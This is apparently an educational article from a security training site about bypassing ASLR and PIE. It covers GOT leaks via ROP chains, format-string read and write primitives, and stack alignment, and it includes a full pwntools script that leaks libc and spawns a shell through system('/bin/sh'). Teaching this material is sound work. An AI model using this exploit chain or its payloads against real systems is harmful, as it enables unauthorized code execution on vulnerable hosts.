Advanced

ASLR in Practice: Leak Techniques, ROP Chains, and PIE Bypass

A hands-on breakdown of how ASLR actually works and how attackers bypass it. Covers GOT leak via ROP, format string leaks, PIE binary exploitation, and pwntools scripting.

The earlier articles in this series covered the mechanics of Return-Oriented Programming and the two-stage GOT leak against non-PIE binaries. This article builds on that foundation and covers the scenarios that come up when the target is harder: PIE-enabled binaries, format string vulnerabilities as a leak primitive, and the practical decisions you make when building an exploit against a hardened target.

If you’re arriving without the prior context: ASLR randomizes the base addresses of the stack, heap, and shared libraries on each execution. A buffer overflow that overwrites the return address can control RIP, but the gadget and function addresses you’d need to jump to are at unknown locations. Defeating ASLR requires a memory leak β€” a way to read a known pointer from program memory at runtime β€” after which you can compute all other addresses as fixed offsets.


What ASLR Actually Randomizes

ASLR applies a random offset to each mappable region independently: the stack gets its own offset, the heap gets its own, each shared library gets its own. The offsets are chosen at load time and remain fixed for the lifetime of the process.

Because the kernel maps memory in page-aligned units (4 KB = 0x1000 bytes), the offset is always a multiple of 0x1000. This means the lower 12 bits of any address are never affected by ASLR β€” they reflect the function’s position within its page, which is fixed in the binary. The entropy sits entirely in the upper bits.

On 64-bit Linux, ASLR typically provides 28–32 bits of entropy for library addresses. Brute force is infeasible. On 32-bit Linux, 8–16 bits of entropy was common, making blind brute force viable in some scenarios (forking services that don’t re-randomize).

What PIE adds: ASLR alone doesn’t randomize the main binary’s load address β€” only libraries. A non-PIE binary’s .text, PLT, and GOT are at fixed addresses, making gadgets inside the binary stable across runs. PIE (Position Independent Executable, -pie -fPIE) extends ASLR to the binary itself. Against a PIE binary, gadgets in the binary are also randomized and you need a separate leak of a binary address before you can use them.


Leak Technique 1: GOT Leak via ROP (Non-PIE)

This is the standard technique for non-PIE binaries with a stack overflow. A full walkthrough appeared in the previous article; the summary here focuses on the parts that trip people up.

The setup: You need a pop rdi; ret gadget in the binary (stable because non-PIE), the PLT address of a print function like puts, and the GOT address of any function that’s been called at least once (so its GOT entry is resolved).

The fragile part: Reading the leaked bytes. puts prints until it hits a null byte (\x00). A 64-bit pointer has the form 0x00007f........... β€” the top two bytes are \x00\x00. When puts encounters the first null byte, it stops. You usually receive 6 bytes, but if the address happens to contain a null byte in a lower position (e.g., 0x7f00...), you receive fewer. Never assume exactly 6 bytes:

leaked_raw = io.recvuntil(b'\n', drop=True)
leaked_addr = u64(leaked_raw.ljust(8, b'\x00'))

ljust(8, b'\x00') zero-pads whatever length arrives to 8 bytes. strip() is wrong here β€” it would eat \x0a bytes (decimal 10) from the leaked address if the address happens to contain port 10 or offset 0x0a.

Stack alignment: Stage 2 must include a bare ret gadget before jumping to system(). The System V AMD64 ABI requires rsp to be 16-byte aligned at the point of a function call. A chain that jumps directly pop rdi β†’ /bin/sh β†’ system() will often crash inside system() on an movaps instruction. Insert ret_pad = elf.address + <any ret offset> between the /bin/sh pointer and system_addr.


Leak Technique 2: Format String Vulnerabilities

A format string vulnerability β€” printf(user_input) instead of printf("%s", user_input) β€” gives you a read primitive without controlling the return address. This is often more accessible than a buffer overflow in hardened binaries.

When printf processes a format string, it reads arguments from registers (rdi, rsi, rdx, rcx, r8, r9) and then from the stack. Sending %p.%p.%p.%p.%p.%p.%p.%p causes printf to print each successive β€œargument” as a pointer β€” which in practice means printing values from the stack.

The stack at the time of printf contains saved registers, return addresses, and frame pointers β€” some of which are pointers into libc or the binary itself. Identifying which offset contains a useful pointer takes some testing, but once found it’s reliable.

Finding the Right Offset

from pwn import *
io = process('./vuln')
# Try the first 20 stack positions
for i in range(1, 21):
io2 = process('./vuln')
io2.sendline(f'%{i}$p'.encode())
val = io2.recvline()
print(f"offset {i:2d}: {val.strip().decode()}")
io2.close()

Look for values in the 0x7f... range (libc) or the binary’s known range. Once you identify a libc pointer at, say, offset 7, you can compute the libc base from it.

Arbitrary Read

%s with a position argument reads a null-terminated string from the address in that stack position:

%7$s β†’ reads the string at the address stored in stack position 7

To read an arbitrary address, you can write the target address into the format string buffer itself and then reference it by its stack position. This is the basis of format string exploitation on 32-bit; on 64-bit it’s more complex due to null bytes in addresses, but the principle holds.

Arbitrary Write

%n writes the number of characters printed so far to the address in the corresponding argument. This gives a write primitive. Combining %<n>c%<pos>$n can write small values; chaining with %hn (16-bit) or %hhn (8-bit) allows writing arbitrary values byte by byte. A full format string write exploit is out of scope here, but the key point is that a format string bug can provide both read and write without any stack overflow.


Leak Technique 3: PIE Binary Bypass

Against a PIE binary, you need both a binary leak (to locate gadgets) and a libc leak (to call system). These typically come from different sources.

Binary leak sources:

  • Stack residue: return addresses saved on the stack point into the binary. A format string or arbitrary read at the right stack offset gives a binary address.
  • GOT entries for __libc_start_main or similar: the binary’s own GOT contains a pointer loaded before main() that points into libc. But to read the GOT, you need the GOT’s address, which requires knowing the binary base β€” circular.

The usual approach: use a format string to leak a return address from the stack (pointing into the binary’s .text), compute the binary base, then use a GOT entry for the libc leak.

Computing PIE base from a leak:

binary_leak = 0x555555400a3b # example leaked return address
# find this address in the binary at load with gdb:
# gdb> info address <function>
# static_offset = address in the binary file (readelf -s shows this)
static_offset = 0xa3b # offset of that address within the binary
binary_base = binary_leak - static_offset
log.info(f"Binary base: {hex(binary_base)}")

Once you have the binary base, you can compute PLT/GOT addresses: elf.address = binary_base in pwntools makes all elf.plt['puts'], elf.got['puts'], and elf.symbols['main'] references correct automatically.


Full Two-Stage Exploit with pwntools

Combining the above: non-PIE binary, stack overflow, ROP-based GOT leak, then system("/bin/sh").

aslr_bypass.py
from pwn import *
BINARY = './vuln'
LIBC = '/lib/x86_64-linux-gnu/libc.so.6'
elf = ELF(BINARY)
libc = ELF(LIBC)
# For a remote target: io = remote('target.host', 9000)
io = process(BINARY)
# Gadgets and addresses β€” stable in non-PIE binary
pop_rdi = 0x401233 # from: ROPgadget --binary ./vuln --search "pop rdi"
ret_pad = 0x40101a # bare ret for stack alignment
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_sym = elf.symbols['main']
OFFSET = 24 # bytes to return address: 16 buffer + 8 saved rbp
# ── Stage 1: leak puts() runtime address ─────────────────────────────────────
payload1 = b'A' * OFFSET
payload1 += p64(pop_rdi)
payload1 += p64(puts_got)
payload1 += p64(puts_plt)
payload1 += p64(main_sym) # restart without re-randomizing ASLR
io.sendlineafter(b'input: ', payload1)
# Read until newline; zero-pad to handle addresses with embedded nulls
raw = io.recvuntil(b'\n', drop=True)
leaked_puts = u64(raw.ljust(8, b'\x00'))
log.success(f"puts() @ {hex(leaked_puts)}")
# Sanity check: lower 12 bits must match static offset lower 12 bits
assert leaked_puts & 0xFFF == libc.symbols['puts'] & 0xFFF, \
"Lower 12 bits don't match β€” wrong libc or wrong GOT entry"
# ── Compute libc base and targets ─────────────────────────────────────────────
libc.address = leaked_puts - libc.symbols['puts']
system_addr = libc.symbols['system']
binsh_addr = next(libc.search(b'/bin/sh'))
log.info(f"libc base @ {hex(libc.address)}")
log.info(f"system() @ {hex(system_addr)}")
log.info(f"/bin/sh @ {hex(binsh_addr)}")
# Verify base is page-aligned (required by ASLR)
assert libc.address & 0xFFF == 0, "libc base not page-aligned β€” leak or offset error"
# ── Stage 2: call system("/bin/sh") ──────────────────────────────────────────
payload2 = b'A' * OFFSET
payload2 += p64(pop_rdi)
payload2 += p64(binsh_addr)
payload2 += p64(ret_pad) # align rsp to 16 bytes before system()
payload2 += p64(system_addr)
io.sendlineafter(b'input: ', payload2)
# system() spawns /bin/sh as the current user (not root unless binary is SUID)
io.interactive()

Two assert statements serve as sanity checks before the second payload fires:

  • The lower 12 bits of the leaked address must match the lower 12 bits of puts’s static offset β€” they’re unaffected by ASLR, so a mismatch means you leaked the wrong address.
  • The computed libc.address must be page-aligned (& 0xFFF == 0).

Both checks catch the most common errors β€” wrong GOT entry, wrong offset, puts not yet resolved β€” before you send a second payload that would just crash the program.


Choosing the Right Leak Primitive

Different vulnerability types offer different leaks. Matching the technique to the vulnerability:

VulnerabilityLeak MethodNotes
Stack overflowROP: puts(got_entry)Requires pop rdi; ret gadget; watch for null bytes in address
Format string%n$p positionalRead any stack position; no control flow required
Heap UAF (read)Read freed chunk fd pointerGives heap address; combine with libc pointer in heap
Arbitrary readread(target_addr)Most flexible; requires knowing a writable buffer address

The format string case is worth emphasizing: it’s often available in applications where a buffer overflow isn’t β€” logging code, user-controlled strings passed to debug output, error messages. A format string vulnerability in a PIE binary with full RELRO can still yield both a binary and a libc leak through stack reads, enabling a write primitive through %n.


What Still Stops This

PIE + ASLR + stack canary + Full RELRO together: Each mitigation closes a specific path. A canary prevents linear stack overflow from reaching the return address. Full RELRO makes the GOT read-only (you can still read it for a leak, but can’t overwrite it). PIE randomizes the binary. ASLR randomizes libraries. With all four active:

  • You need a non-linear write primitive (heap overflow, UAF) or a stack canary leak to bypass canaries
  • You need both binary and libc leaks before constructing a ROP chain
  • You need a target other than the GOT for the write (function pointers in heap objects, _IO_file vtables, exit handlers)

That combination requires at minimum two vulnerabilities β€” typically one for the leak and one for the write β€” which is why modern exploit research focuses on vulnerability chaining rather than single-bug exploitation.

Tools for this work: checksec ./binary before anything else; ROPgadget --binary ./vuln --rop for chain building; one_gadget /path/to/libc.so for one-shot shell gadgets; pwndbg with vmmap to see ASLR layout live during debugging.

V

Author

Varkin Academy

Tags

#cyber security #exploit #assembly #memory corruption #ASLR #format string #PIE bypass #ROP